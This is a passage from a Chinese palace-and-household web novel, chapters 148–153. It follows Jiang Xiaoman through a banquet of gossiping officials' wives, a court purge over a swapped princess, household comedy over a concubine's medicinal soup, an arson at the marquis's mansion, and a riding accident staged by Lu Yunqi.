《小陪房日常：侯府秘闻每日刷新》 第148章 官眷们 “你瞧这蓝夫人，吃相未眠也太难看了，这就上赶着巴结！” “她家蓝大人目前只是个户部主事，若要往上爬可不得巴结好自己的顶头上司吗？” “听说户部刚刚空缺了一个五品郎中的职位，这蓝夫人莫不是想着让他夫君能爬上这个位置？” “哪能轮得到她夫君啊！听说李大人早已瞧好了新进的进士陆云起，这位的夫君不过是恩荫得的官职，能在户部做个主事便了不得了，真真是痴心妄想——” 姜小满听得旁边两位官眷的低语，明白了这位蓝夫人就是旁边男宾席面上那位户部六品主事蓝大人的妻子，而蓝大人目前正与陆云起竞争同一个户部岗位五品的郎中。 “我说蓝夫人，坐下歇歇吧，跑来跑去的也不嫌累得慌。”官眷吴夫人不屑道。 在座的官眷，丈夫品阶最低的便是这蓝夫人和姜小满，姜小满只眼观鼻鼻观心地吃菜，被统一纳妾后心情不甚愉悦的官太太们便将矛头对准了这位蓝夫人。 昨日大家都与宫里发的小妾做了斗争，今日顶着熊猫眼来赴宴，实在是累得慌。 “吴夫人今日怎得兴致不高啊，可是昨晚没睡好？”一平日里就与吴夫人不大对付的官眷郑夫人道。 “难不成昨夜郑夫人睡得好？”那吴夫人挑眉反问略带讥笑，昨夜的情况谁不知道谁啊。 “还好吧！昨夜宫里赏了位贵妾，我夫君不敢怠慢，但又放心不下我，你猜怎么着，夜里竟背着那妾室偷偷回来瞧了我三次呢，呵呵——”这郑夫人炫耀之意溢于言表。 此话一出，女宾席上纷纷开启了老公如何爱我的比拼。 各位官眷纷纷道： “正是呢，我夫君昨夜也是陪了我半宿——” “我夫君晚上倒是没有陪我，是天光大亮之时才回来的，我说你这样小心妹妹生气，呵呵——” “哎，我那夫君为了让我高兴，昨夜买了一副上好的红宝石头面偷偷送我——” 反正就是她们的夫君都最爱她们，纳妾是没办法的事，但心还是属于她们的。 与女宾席不同的是隔壁的男宾席，虽说众位大人也都顶着熊猫眼，但那不是睡不着的缘故，而是操劳过度。 男宾席一派欢腾，纷纷诉说着皇恩晃荡，自家领到的小妾是如何貌美动人。 姜小满只静静吃着菜，很是替那些出宫的女子感到悲哀。 二十几岁的年纪，在宫里熬了十几年，所谓的好前程便是被随随便便赏给这些男人作妾，而这些男人却将她们的私事拿到酒桌上侃侃而谈，好似她们不过是皇帝赏的一个物件儿一般。 那蓝夫人一脸懵的听着这些官眷们的谈话，方明白过来，在座的大人们昨晚几乎都被赏了宫女作妾，但是她家相公却是没有？ 虽说蓝夫人也不希望家里多一位贵妾，但不赏是不是就代表不被陛下看重呢？ “我说蓝夫人，我瞧着你精神头足得很，想来是心胸宽阔之人，没有为夫君纳妾之事悬心呢？”那吴夫人问道。 “我家并未有宫女入宅——”那蓝夫人也不知是该高兴还是该失落。 “呦，那蓝夫人好福气啊，不必像我们这般周旋于内宅之事？” “是啊，多一个妾室要多好多的事情呢，又要置办宅院，又要挑选丫头——” 众官眷终于找到了一个话头，这席面上就蓝夫人的相公职位低，还话多，不拿她开涮拿谁开涮？ “蓝夫人，听说你家相公不是进士出身呀？莫要再围着李夫人转圈圈了，没得和个没头苍蝇似的——” “还得是进学才行！我家相公是大顺二十三年的二榜进士，当年也能靠着祖宗的恩荫入仕，但还是苦哈哈地考了进士！” “谁说不是呢？若都靠了恩荫便能有好前程，那些一路苦读上来的官员可不是要哭倒在堂前了？” 正所谓官大一级压死人，那些官员夫人如此奚落蓝夫人，就是拿捏了她丈夫职位低，不敢反抗。 从古至今永远都是你厉害你说得就对，上位者永远都想不到要给下位者面子。 那蓝夫人虽说心中已然怒火中烧，但面上依旧陪着笑应和，姜小满觉得她眼泪都快要出来了。 在这些官眷中，方才那位率先提及自己相公心疼自己，昨夜跑回房三次的郑夫人最是会奚落人，方才那句“蓝夫人像个没头的苍蝇”便是出自郑夫人之口。 “郑夫人，您瞧郑大人是不是喝得有些多了？”姜小满转移话题为那蓝夫人解围。 女宾席顿时安静了一瞬，便听得男宾席上喝大了的郑大人炫耀道，“我昨夜不负皇恩，只搂着美人儿一夜七次，累得我眼冒金星，今儿早上差点起不来！” 姜小满只是想转移下话题，没曾想就让女宾们集体污了耳朵。 男宾席上众人纷纷劝道，“还有夫人们在呢，郑大人莫要失言了——” “怎得？一夜七次，你可是不信我？”那灌了黄汤的郑大人显然已是无药可救。 方才与郑夫人针锋相对的吴夫人故意嗤笑道，“郑夫人好福气，相公身体好得很呐，只是郑大人一边要不负皇恩浩荡累得眼冒金星，一边又要跑回来三次瞧郑夫人，果然是厉害呀！” 那郑夫人的脸色已然很是难看，因为他相公在面对她的时候一夜一次就算开了恩了，眼下怒从中来便对着吴夫人道，“还是吴大人厉害呀，家中硕果累累庶子庶女成群，吴夫人这嫡母定然跟着也很忙吧——” 二人针锋相对间，那主家李夫人想要出言相劝却无果，蓝夫人为了帮上峰夫人维持好席面秩序，竟然出言相劝道，“两位夫人，瞧这道鲍汁乳鸽甚是鲜美，快来尝尝呀！” 这句话本没什么问题，但那吴郑两位夫人顾及对方丈夫的职位，虽说嘴上不饶人但并未真的怎样，现下蓝夫人一出口又成了二人的出气筒。 吴夫人：“闭嘴，怎得哪儿都有你！” 郑夫人：“这是李家的席面，蓝夫人怎得上蹿下跳的，跟个猴儿一样！” 一会儿苍蝇，一会儿猴，这蓝夫人真是一点儿脸面都没了。 第149章 朝野巨变 实在忍不了的蓝夫人，亦不能得罪人，直努力将眼泪往回憋。 姜小满见状忙牵了蓝夫人道，“夫人，请问可否带我去寻一下如厕的地方，方才见夫人去过一趟——” 那蓝夫人有了台阶下便及时出去了。 “多谢夫人为我解围，不知夫人是哪家官眷？”蓝夫人感激道。 姜小满：“我是翰林院侍读明澈的家眷！” 一来二去间，姜小满便与蓝夫人相谈甚欢。 这场宴席，蓝夫人因着丈夫官职地位而备受欺辱。 在场的所有人并不知晓，就因为这次宴席上蓝夫人受辱将给大顺朝堂带来巨大的震动，而她们的夫君也多在这次震荡中陨落，毕竟她们都是大皇子的近臣。 蓝夫人回去后将席面上受辱之事一五一十地告知夫君，那蓝大人却是个实实在在宠妻的，发誓定然要位列高位，将来让自己的夫人笑着瞧那些人哭。 于是乎，蓝大人找到了他的母亲蓝嬷嬷诉苦，说着自己已然到了而立之年却因为恩荫无法往上爬，倘若能做了户部员外郎，再一步步成为户部侍郎也算是光宗耀祖了。 那蓝嬷嬷便是前面提到的跟在季贵妃旁边的亲信蓝嬷嬷。 蓝嬷嬷不但亲眼目睹了季贵妃将孙元娘接进宫中，而且对当年季贵妃将女儿换做男孩儿的事情一清二楚。 听了儿子的诉苦，爱子心切的蓝嬷嬷夜里睡不着，最终在主子和儿子之间选择了儿子。 她决定要靠着这个秘辛将儿子送上户部侍郎的位置！ 于是季贵妃秘藏在宫中的女子便是大顺的公主，而现在的大皇子实则是个赝品的消息便传到了二皇子生母鹿妃的耳中。 鹿妃因此解了心中的结，她就知道季贵妃不会傻到找一个年轻版的自己与自己争宠，原来如此啊！ 大顺朝因着一位低品阶夫人在宴席上被嘲笑而迎来了风云巨变。 这日，姜小满只是平常在集市闲逛，便到处听得大顺多了一位公主！而大皇子被幽禁了，大皇子身边的一众近臣也多被斥责—— 大顺公主？那不就是孙元娘吗？姜小满既为孙元娘高兴，也为明澈忧心。 作为一名从承恩侯府出来的探花郎，明澈向来被认为同承恩侯一样都是大皇子派。 当姜小满忧心忡忡地赶回家时，明澈亦从翰林院回来了。 “明澈，大皇子果真被幽禁了吗？还有那位公主的事你可听说了？”姜小满急道。 明妈妈与小满娘等人亦听说了京城的议论纷纷，都赶来看明澈有没有被牵连。 明澈面无表情道，“我只不过是个六品侍读，天塌了有大人们撑着，左右不需要我来顶。” 明澈一派云淡风轻的样子，两位娘也就把心放在了肚子里准备开饭了。 饭后，明澈说今日累了要早些回房歇息，并示意小满跟上。 两位妈妈只道是小夫妻又要搞些闺房之乐便由着二人早早回去。 甫一进门，明澈便将卧房门插了。 小满会错了意，急道，“相公，那个癸水。” 明澈双腿发软便坐在了榻上，都什么时候了还管什么癸水不癸水的。 明澈示意小满同他一起坐在塌边，小满扭扭捏捏道，“我都说了癸水来了——” 小满话音未落，明澈便趴在小满怀里嘤嘤嘤地哭了起来。 小满颇有些慌乱地看着眼前的八尺男儿有些摸不着头脑，不禁晃神道，“好了，好了，怎得还和以前那般？你如今可不是个傻子了，是堂堂的正六品翰林侍读呢！” “娘子，其实做个傻子也蛮好，今日大朝会，我站在最末都吓得腿软。”明澈一边说着一边任由眼泪滑落。 姜小满第一次见到明澈这个样子，即便是做傻子的时候被人打，也没哭得这么哀伤。 “娘子，天子震怒真的太可怕了，今日我见着杀人了！你知道吗？陛下雷霆之怒，亲自提着剑将季国公砍成了筛子一般！” “还有户部左侍郎李大人也被当庭杖毙了！你知道吗？活生生的人便在眼皮子底下没了气息——” 作为文官的明澈从未见过这般打打杀杀，今日见得雷霆之怒，在外边一直是表现得面色如常，但如今卧房内只有小满，他便毫无顾忌地将自己的胆怯诉说了出来—— 小满见状，只轻拍着明澈的背道，“没事了，没事了，你个六品小官，波及不到咱们的！” 待明澈缓了一阵儿，小满终于忍不住道，“那公主呢？公主还好吗？” 其他人姜小满管不着，她只希望孙元娘平安。 这时明澈才惊坐起来道，“我站在末首瞧不清楚，但我觉得那公主好像，好像是孙元娘！” “何以见得？”姜小满故作疑问道。 明澈：“今日是户部右侍郎检举季贵妃宫里藏了人，并口口声声称那人便是当朝公主，陛下的亲生女儿。陛下发了雷霆之怒，当下便让人查抄了季贵妃的宫苑。” “季贵妃宫里果然藏了一位姑娘，但那季贵妃一口咬定那姑娘不过是长得像自己而已，绝不是什么公主！” “陛下听闻，提剑便要杀了那姑娘，季贵妃见状直接扑在那姑娘身上，方承认了那姑娘的确是自己的女儿，而大皇子不过是个赝品。” “然后，陛下便当着季贵妃与公主的面亲手杀了季国公，哎——” 姜小满听得明澈的话忽得掉下眼泪来，“可怜的元娘，她向来胆小，陛下的雷霆之怒连你都被吓得腿软，元娘肯定吓坏了！” 明澈惊道，“那公主真是元娘，你怎得知道？” 姜小满将季贵妃在承恩侯府如厕偶遇孙元娘成功认亲，而自己又偷偷给孙元娘送吃食才听闻了真相等，经过一番胡编乱造，终究是圆了慌。 末了，姜小满还嘱咐道，“千万不要告诉三头，如今他与元娘已然隔着天堑，若是知晓实情又能怎样呢？” “是啊，长痛不如短痛，既然已经死过一次了，没有希望的事情便别再去伤他的心——”对于明三头的痛楚，明澈感同身受，毕竟明澈也体味过痛失挚爱的感觉。 接下来的几日，朝野震荡，每天都有官员陨落。 第150章 苦了姜小满 先是逮捕了季国公府当年参与掉换公主的一干人等进行严刑拷打，待水落石出之后，季国公府父族、母族、妻族，三族被诛。 季贵妃被废为庶人，同大皇子一样幽禁冷宫。 公主暂且依旧安置在梨落苑。 同大皇子相近的官员落马的落马，辞官的辞官，就连明澈和陆云起这样的大皇子派小官都被罚了两年的俸禄。 而承恩侯府更是愁云惨淡，谁让他家的当家主母还是季尘欣呢？但这个节骨眼儿上休妻已然是来不及了，作为不被牵连的外嫁女季尘欣依旧苟在了承恩侯府当家主母的位置上。 承恩侯府所有有官身的男丁全部被罢官，其中包括承恩侯宋成炀、承恩侯胞弟宋成煜，大爷宋长青、二爷宋长宗，还有刚刚混上个县丞的宋长序等。 在这场浩荡中，唯一升官之人便是那蓝夫人的夫君，蓝嬷嬷的儿子，原户部六品主事蓝金临。 短短几日，那蓝金临便从六品的户部主事一跃成为了从三品的户部左侍郎，想来那蓝夫人再也不用在席面上上蹿下跳地被人说像个没头的苍蝇，上蹿下跳的猴儿了—— 在这场浩荡中，明澈只是被罚了两年的俸禄，姜小满已然觉得很庆幸了。 此刻，心有余悸的明家人正在吃着晚饭，琥珀有些动容道，“能入明家为妾也是我的福气，同我一起出宫的那些姐妹，本以为能好好过几日舒心日子，没想到这才几天不是被跟着抄家，便是回乡——” 所谓时代的一粒沙落在个人头上就是一座山，在这场浩劫之下像琥珀这样刚刚出宫的宫女，运气好的被赐给不受影响的官员，运气不好的便跟着那些落马的官员了此残生。 因此琥珀颇觉自己很幸运，幸亏自己不是特别出众，所以被赐给了像明澈这样的小官。 琥珀说着便端了一碗汤道，“老爷，这是我亲手煮的汤，只为聊表谢意——” 明澈想都没想便一饮而尽道，“这味道怎得怪怪的？” “哦，这是我在宫外老太医那里学的药膳，能治隐疾的。”琥珀花了五两银子买的呢，即便不是为了感激明澈，只为了自己，她也得尽快将明澈的隐疾治好啊，花再多的银子她也是舍得的。 “隐疾？澈儿是哪里不舒服？”明妈妈关切道。 小满娘却是懂了，一脸疑惑地瞧着小满道，“小满啊，姑爷这病你咋不早和娘说呢，要是早治说不定早就有孩子了！” 小满娘很是心疼自家女儿，怪不得结婚这么久肚子都没动静，原来是女婿的问题啊！谁说纳妾没有一点儿好处的，这不，小满此身算是分明了！ 可是也苦了自己的女儿！ 明妈妈却是有些不信道，“亲家母，澈儿向来康健，这我都是亲耳——总之，澈儿定然没有问题的！” 小满娘：“亲家母，我小满忍了这么久都没将姑爷的隐疾说出来，现在既然被琥珀说明了，咱们该治便治，你怎得就不承认呢？莫非这怀不上孩子都怪我家小满了？” 小满娘生在这个时代，知道一个女人被扣了不能生孩子的帽子是会逼死人的。 更何况姑爷现在是探花郞了，小满娘夜里睡不着时就常在思考：姑爷发达了会不会冷落小满？小满怎么还不怀孕？ 这下好了，是姑爷的问题，小满总算是清白了。 因此，即便小满娘与明妈妈平日里亲如姐妹，今日也势必要为自己的孩子理论上一番！ 姜小满很想告诉两个娘：明澈很行！ 但看了眼正在吃瓜的琥珀一口咬定道，“娘，两个娘，明澈的确是不大行！” 小满此话一出，明妈妈便眼含期盼地望着明澈道，“澈儿，你自己说！” 明澈亦是看了一眼如夫子般崇敬的琥珀道，“这个真不行！” 明妈妈瞬间瘫坐，半晌对着小满道，“孩子，苦了你了——” 接下来的几日，不太行的明澈每日都要面对家人的关心。 有明妈妈亲自买的药丸，小满娘不知在哪个庙里求的秘药，还有琥珀炖煮的药膳。 如此一来，姜小满便成了最大的受害者。 明澈每日回家都是匆匆扒拉几口食儿便朝卧房跑，姜小满觉得再这样下去日子是不能过了，她如今每日起床骨头都疼，每走一步路都费劲，但还要努力走出如常的步伐—— 这日，明澈喝了那些乱七八糟的药刚要回房，琥珀便拦了道，“老爷，这几日身体可有好些？” “还是老样子，呵呵——”在受累和将明澈推到别的女人房间，姜小满毅然决定这命不要也罢。 那琥珀却是义正言辞道，“那位大夫说七日见效，今日已是第七日，老爷随我回房瞧瞧，若是没有效果我明日便去找那大夫要回银两！” 瞧瞧？怎么瞧？ 明澈眼神示意姜小满一定要救救他！ “那个，琥珀啊，我昨日已然瞧过了，还没好！”小满说着便要拽着明澈回房。 那琥珀却是拦了道，“夫人莫不是善妒？敢问夫人可读过《女诫》？正所谓妒妇破家，乱家毒身——” 小满想了想自己虚弱不堪的身体，一咬牙一跺脚便转身回了卧房。 明澈只得讪讪跟着琥珀到了西厢房，那琥珀将门闭紧道，“老爷，更衣吧！” “好！”明澈将外袍褪下端坐在床榻之上。 此时，药效显然已经起效，明澈燥热，整个脸颊都涨红得难受。 琥珀见状便回忆着那大夫的话道，“看来是起效？老爷此刻是否感到浑身燥热，想要与女子亲近？” 明澈瞧了眼琥珀那一本正经的样子，燥热竟然稍微减退了些道，“没有，没有，只是屋里闷，有些热，呵呵——” “哦！”琥珀虽说已有二十五岁，在宫里当差多年，伺候惯了陛下娘娘的就寝事宜，但毕竟没有亲力亲为过，因此也是故作淡定地依葫芦画瓢道，“奴婢若是伺候的不好，请老爷担待！” 话音落下，觉得此刻该是对方帮自己褪下衣衫的琥珀便照本宣科道，“那现在请老爷为奴婢褪下衣衫！” 第151章 火烧承恩侯府 明澈木然坐在榻边，此刻他并不想当坐怀不乱的柳下惠，他很乱。 他想将对面之人当作一味解药，药就在眼前，只要喝了便不会难受。 但是这药若是吃了，就得对药负责，明澈觉得这对药很不公平。 最重要的是，他若服了这药，小满还会要他吗？若是小满不要他了，他还喝药做什么？不如再去跳崖？ 与此同时，琥珀已在解明澈的衣衫。 “别动我！”明澈怕自己忍不住要喝药。 琥珀看着拒自己于千里之外的明澈，颇有些伤感道，“老爷可是不喜奴婢伺候？即便不喜，奴婢也是陛下钦赐！” “琥珀你误会了，只是，只是你我相识尚浅，我想问问你之前可有心悦之人？”明澈努力找着话题。 “心悦之人？”琥珀先是一怔，而后颇有些要自证清白道，“老爷莫不是怀疑奴婢的忠贞？” “不不不—”明澈只是想转移话题而已。 那琥珀却是像受了莫大的侮辱般道，“老爷若是怀疑，那不妨亲自验一验——” 怎么验？ 明澈已然顾不了那么多，决定先跑为敬。 只是在尚未找好借口之时猛然抬头便看到侯府方向有火苗蹿出，“着火了，着火了，我先去救火—” 一身蛮力的明澈终究是找到了用武之地— 与此同时，小满与明家人也全部站在庭院中看着侯府的火势越烧越旺。 明二忍不住道，“看方向应当是侯府库房着火了，我得去瞧瞧！” 明妈妈：“快去、快去、注意安全！” 在明妈妈的催促下，明澈、明二、明三头、明妈妈、小满，甚至小满娘都急匆匆向侯府方向走去。 他们生在侯府长在侯府，虽说现在已然脱了奴籍，但在他们心里侯府是同家一般的存在。 侯府的主子们虽然把他们当作下人，但侯府的众多丫鬟仆妇、管事小厮，都是他们的朋友或邻里。 此刻他们最关心的并非侯府的损失，而是侯府那些从不被主子当作人的仆妇小厮们的安全。 但愿没有人员伤亡！ 一场大火烧了将近一个时辰，在众人的齐心协力下火势终于控制了下来。 第二日，姜小满收到秘闻：【陆云起火烧承恩侯府库房，趁乱将侯府库房多数值钱的金银珠玉搬入空间。】 这场人祸，让本就全员被罢免的承恩侯府更加雪上加霜，除了库房被盗之外，两位看守内库的小厮不幸遇难。 多日来已然急怒攻心的承恩侯宋成炀听闻侯府库房被盗，当场吐了血，不到三日便一命呜呼。 宋成炀临终前除了叫自己的三个儿子一一入内室嘱咐外，还唤了陆云起前来。 “云起啊，这辈子是我对不起你们娘俩，临了了，你能叫我一声爹吗？”宋成炀内心实则很喜欢这个最成器、最像自己的私生子。 陆云起：“敢问侯爷，临了了可否唤众人进来做个见证，让我认祖归宗呢？” 宋成炀摇了摇头表示不同意，“云起，我得为子孙着想啊，你外祖那可是反贼—” 事到如今，陆云起也不想再装了，“反贼是吗？若不是拜你所赐，我外祖家又怎会被抄？若不是拜你所赐，我和我娘又怎会千难万难地讨生活？” “你都要快死的人了，还是不肯让我入族谱，既如此那就别怪我不客气了！” 人便是这样，越是缺什么便越在意什么！陆云起从小到大最羡慕的便是那些能够光明正大祭祀祖宗之人。 作为宋成炀的私生子，陆云起好像生来就有一种执念：认祖归宗。 除此之外，还有另一种执念：替母报仇。 在这两种执念之下，今日的陆云起终究找到了一个平衡：搬空承恩侯府库房，日后再让自己的亲生儿子承袭爵位。 既算是能认祖归宗，又算是替母报仇。 “你，你要怎样？”宋成炀看着陆云起凌厉的眼神忽得感到了一丝寒意。 陆云起：“不怎么样！爹，我到底是你的亲生儿子，我也不想让你为难，所以就放了把火烧了库房！” “爹，你也莫要动气，那些金银珠玉终究没有落入他人之手，都在儿子这里呢！” “哦，忘了告诉爹，那宋长宗与林姨娘之子实则是我的亲生儿子！爹你别生气啊，反正都是您的亲孙儿，你不给，那我就只能自己拿了！” “畜牲！畜牲—”宋成炀梗着脖子咽了气。 承恩侯宋成炀薨逝，紧接着世子宋长宗承袭爵位，成了新的承恩侯。 有人欢喜有人忧，在承恩侯府一派萧条之际，升官发财的新任户部左侍郎蓝金临在自己家办了升迁宴。 作为六品小官明澈的夫人，姜小满竟然意外地收到了请帖。 “明澈，我们要去蓝府赴宴吗？”姜小满征求着明澈的意见。 如今大皇子被幽禁，皇帝成年的皇子便只剩下二皇子。 若说之前还有站队一说，现如今形势已十分明了，那便是二皇子独大。 作为二皇子派新进的宠臣，户部左侍郎蓝金临可谓是炙手可热，因此蓝家的宴席许多人是挤破头要去的—— “蓝府给你发请帖了？当然要去啊！”明澈看上去很兴奋。 “怎得？你这么快就要抱新大腿了？”姜小满有所鄙夷，明澈向来不喜二皇子暴厉，没想到抱大腿的时候竟也跑得这样快！ “娘子，总之，你尽量与那蓝夫人交好，至于其他的——”明澈话未说完，他受羽王钱淮安所托要尽全力成为二皇子的近臣，如今正是个好机会。 “也是，没得选择呀——”如今二皇子独大，暂且管不了什么抱不抱大腿，要先活下来才行。 蓝府宴席。 “恭喜蓝夫人！”姜小满入府便先与主家打招呼。 那蓝夫人热情道，“是明夫人呀，可是把你盼来了！” 蓝夫人铭记着那日被比作苍蝇和猴儿的耻辱，一直惦记着当时替自己解围的姜小满，因此今日特意发帖将她请来。 但姜小满与那蓝夫人只有过一面之缘，眼下这蓝夫人热情到让小满以为二人是相熟多年。 既然对方都这么热络了，作为抱大腿的姜小满记着明澈给她的任务，要尽量与蓝夫人交好，于是便也热情地赞起了蓝夫人的肤色多么白净，身上的衣裳多么鲜亮。 第152章 学骑马 众官眷见蓝夫人对小满如此热络便也微笑着致意，扭脸便小声打听着这姜小满是何来历。 很快，众官眷便打听到姜小满不过是从承恩侯府家学里出来的探花明澈的娘子，一个六品侍读的妻子而已。 但众官眷瞧着姜小满与蓝夫人那热络的样子，又觉得这明澈能从大皇子阵营中爬出来，且这么快就巴结上蓝大人，定是有两把刷子的，说不定之前便是埋伏在那边儿的细作。 总之，左右思量之后的官眷们觉得明澈既然出现在了蓝家的席面，那就是二皇子的人了。 男宾席上除了明澈，姜小满还看到一个熟悉的身影：陆云起。 只见那陆云起频频望向自己所在的女宾席位，姜小满不禁怀疑，“这陆云起什么意思？他是在看我吗？难不成他对我还有心思？这种放火烧库房害死两条无辜性命之人他配看我吗？” 姜小满不想为陆云起这厮多费心神，只想好好品一品蓝府的席面，正当姜小满抬箸要夹一块烧鹅时却见正对面一位肤色偏黑的小姐脸颊上染上绯红。 姜小满余光瞅瞅陆云起，又瞅瞅那小姐，方知晓是自己自作多情了！ “蓝大姑娘已然及笄，可说了人家了？”席面上有官眷急着攀附，姜小满方才晓得那姑娘原是蓝金临的亲妹子蓝金玉。 那蓝大姑娘眼眸未抬便道，“自己的夫婿自己做主，哪需要他人说亲！” 蓝夫人不好意思地对方才那官眷解释道，“小姑向来就是这个性子，夫人莫怪！” “哪里，哪里——” 这可是蓝大人的亲妹子怎么个怪法！ 吃过宴席，蓝府特意准备了插花品茗、文人雅集，还有投壶打马球等。 姜小满虽说已然跟了谢婉之几年，如今理账管人这等管事婆子的活儿已然干得炉火纯青，但什么插花、点茶之类的却是一点儿不会。 这些没用的劳什子活计向来与姜小满这等丫鬟出生之人无关，但姜小满如今也算是官眷了，第一次碰到这样的雅集颇觉有些无所适从。 “明夫人可喜欢插花？” “点茶呢？” “作画？” 方才席面上的一位官眷询问，姜小满只得故作镇定道，“都不喜欢！” 此话一出便有瞧不上明澈品阶的贵夫人鄙夷道，“不知是不喜欢还是不会，这明夫人当年可是商女来着？” “商贾之女吗？” “不是，听说不过是承恩侯府的一介婢女！” “呦，那可是发了大运，怎得就嫁给探花郎了，啧啧——” 姜小满内心奔腾，很是想给这些长舌妇一个巴掌，但此刻的她正如当日的蓝夫人，她若得罪了这些夫人，那明澈的前程该如何？ 正当此时，那蓝夫人在自家小姑耳边低语了几句，便听得蓝金玉道，“这些插花、品茶我向来不喜，文绉绉的讨厌，明夫人，我们去骑马！” 姜小满知晓这是蓝夫人在报那日的解围之恩，于是便同蓝夫人和蓝金玉笑笑道，“好啊！” 离了这群长舌妇的姜小满倍感轻松，那蓝金玉瞧着姜小满与自家嫂子交好便也热情道，“我是真心不喜什么插花、点茶，有劳什子用？好好的花折下来插到瓶子里，好好的茶不能痛快喝——” 姜小满听出这蓝小姐是真心不喜这些雅事，但是说起打马球却是头头是道，“这马儿你就得训，我最喜烈马——” 在蓝金玉的感染下，姜小满竟也真切地想骑一骑那烈马。 待到了马球场，蓝金玉一个翻身上马便在马场驰骋起来，姜小满兴奋地为蓝金玉欢呼，很想同蓝金玉一般在马场好好地跑上几圈。 “怎么样？要不要试试？”蓝金玉爽朗道。 “我，我不会骑马——”姜小满怯懦道。 蓝金玉：“我来教你啊！” “还是算了吧！”骑马这么危险的事情，姜小满不敢将自己的安全交托与一个刚刚认识的女子手中。 “真是扫兴！磨磨唧唧的！”那蓝金玉一挥马鞭便又跑了起来。 姜小满瞧着蓝金玉那热烈的背影，心中很是艳羡！ 上辈子的她便想学开车，但左等右等终究没有考到驾照。这辈子若是想学骑马那便学啊，如果还要左等右等什么时候才能学到？ 看着驰骋在马场的蓝金玉，姜小满觉得好生畅快！ 两辈子加起来都没做了几件真心喜欢的事，为了碎银几两，不是理账就是低眉顺眼地做丫鬟。姜小满从不知道自己这么想学骑马，好似只要在马场上奔跑起来，自己便能活得恣意畅快一般。 “蓝小姐，我要学，你教我！”姜小满一拍脑袋做了个决定。 那蓝金玉仿佛突然间找到了志同道合之人，很是高兴地愿意给姜小满做骑马师傅。 骑马教学正式开始。 “你上啊，上！”蓝金玉揪着马绳吼着。 姜小满已试着爬了三次依旧没有爬上马背。 蓝金玉有些怒其不争道，“要瞅准时机再上啊！” “可是这马老是转圈，它是不是不想让我骑啊！”姜小满疑惑道。 “所以你要驯服它呀！上，快上！哎，笨！”蓝金玉长叹一口气，觉得姜小满这学生真是笨的离谱，想当年她骑马那可是不教自会的。 姜小满很久没被人说笨了，她是真的很想学骑马，眼前的这匹小马激起了她的征服欲，她就不信她当真这么笨？ 在蓝金玉又要张口便来一个“笨”字时，姜小满终于翻身上了马！ “太好了，你抓紧缰绳，随着马的起伏跟上它的节奏！”蓝金玉对姜小满刮目相看道。 “你，你不要放开缰绳啊——”姜小满很是紧张。 “我不放开你怎么学得会呢！”那蓝金玉说着便松了手。 姜小满骑着脱缰的马儿在马场上跑了起来，“蓝金玉你个骗子！啊——” 蓝金玉：“哈哈，你低一些，爬在马背上就不会被摔下来，骑得很好嘛！” “救命啊！”本来骑得好好的，姜小满不知怎得惹怒了那匹马，马儿像是惊着了一般狂奔起来。 蓝金玉见状，立即骑了另一匹烈马去追。 与此同时，方走到马场的陆云起也看到了正在马背上吱哇乱叫的姜小满。 第153章 二选一 救还是不救？ 陆云起今日是来英雄救美的，但不是救姜小满，而是救蓝金玉的。 为了自己的前程无忧，陆云起必须要努力扮演成蓝大小姐喜欢的样子，谁让他哥是自己的顶头上峰呢！ 但是这姜小满捣什么乱？ 电光火石间蓝金玉已然安抚了受惊的马儿，正与姜小满并驾齐驱有说有笑呢！ 陆云起瞧了眼自己提前备好的水袋（虎尿），此刻蓝金玉就在马上，正所谓时机难得，倘若自己将虎尿撒在马儿脚下，蓝金玉的马匹必定发狂，那便是他陆云起英雄救美之时。 只是，二人离得那样近，到时候姜小满所骑的马儿也会发狂，他只顾得上救蓝金玉，那姜小满要怎么办？ “太可怕了，我要下来！”姜小满心有余悸道。 “有我在，你怕什么！这不是没事儿了吗！”蓝金玉仗义道。 姜小满：“不，你扶我下来好不好——” 陆云起眼看着蓝金玉似要翻身下马，此时已容不得他再做选择，于是快步走向马前，并故意将水袋打开让马尿滴落。 “蓝大小姐，你喜欢骑马——”陆云起话音未落，蓝金玉与姜小满所骑的两匹马儿便如料想般狂奔起来。 “啊——救命——”姜小满不知突然间马儿怎得又发狂了。 蓝金玉亦在拼命地控制着马匹，她骑马这么多年从未遇到这种情况。 但蓝金玉不愧为骑马高手，眼见着控制不了马儿便瞅准时机翻身下马急着去救姜小满。 蓝金玉：“陆大人，快帮我控制那匹马儿，那明家夫人不会骑马的！” 瞧着完好无损的蓝金玉，陆云起亦是深感佩服，这都没事儿？那自己英雄救美的戏码还怎么演？ “救命啊——”姜小满还在马背上狂奔。 蓝金玉冲向马儿拼命喊着：“吁——明夫人你身子压得低一些——” 然姜小满完全控制不了发狂的马儿，蓝金玉一边追跑一边拼命去探那缰绳，谁知那马儿竟然嘶鸣着抬起了前蹄。 此刻的蓝金玉就在马下，眼看着马蹄即将踏上蓝金玉的腹部，陆云起死死将蓝金玉护在身下！ 与此同时即将被甩下马背的姜小满一把被拽入另一匹马背上，姜小满回眸便看到了明澈：“明澈，你终于来了，嘤嘤嘤，我再也不骑马了——” “救命啊！快叫大夫来——”蓝金玉看着满身是血的陆云起呼喊道。 今日陆云起被马蹄踏断了三根肋骨，但也因此换来了与蓝金玉的亲事和自己的平步青云，当然这已是后话。 且说为了今日，陆云起已然筹谋多日。 先是打探蓝小姐的嗜好，然后便是有意地制造偶遇，今日不但如愿拿到了蓝府的请帖，还完成了他英雄救美的计划—— 有惊无险的姜小满当晚便有所怀疑道，“明澈，你说为何好端端的马儿，那陆云起一走近便发狂了呢？” “娘子，难不成你还为陆云起没有选择救你，而是救了蓝金玉不能释怀吗？”明澈的关注点与姜小满不同。 “也是，按理说他应当救我的——”姜小满嘟嘟囔囔道，她倒不是因着陆云起没有救自己而不高兴，只是觉得这不合常理。 前些时候那陆云起还将自己幽闭空间好像对自己情根深种的样子，今日便能舍了自己去救那蓝金玉？他这么快就移情了？ “明澈，你说那陆云起是真的对蓝小姐有情，还是另有企图呢？”姜小满自认比较了解陆云起，又真心喜欢飒爽的蓝金玉，担心蓝金玉被陆云起蒙蔽。 “姜小满，你够了！”明澈气呼呼道，“那陆云起去救蓝金玉你不高兴了是吧！” “真是莫名其妙！我只是觉得那陆云起配不上蓝金玉而已！”看着甚少同自己发脾气的明澈，姜小满不知他哪根筋搭错了。 “怎得不相配，我看就相配得很！”明澈觉得陆云起和谁都相配，只要他早日娶妻生子别再对他娘子起念便好。 “我觉得你和那琥珀还般配得很呢！我还没问你呢？侯府起火那天你二人可曾圆房？”姜小满借此问出了多日来憋在心里的话。 明澈：“姜小满，你竟然如此不信任我！亏我忍得那么，那么辛苦！” 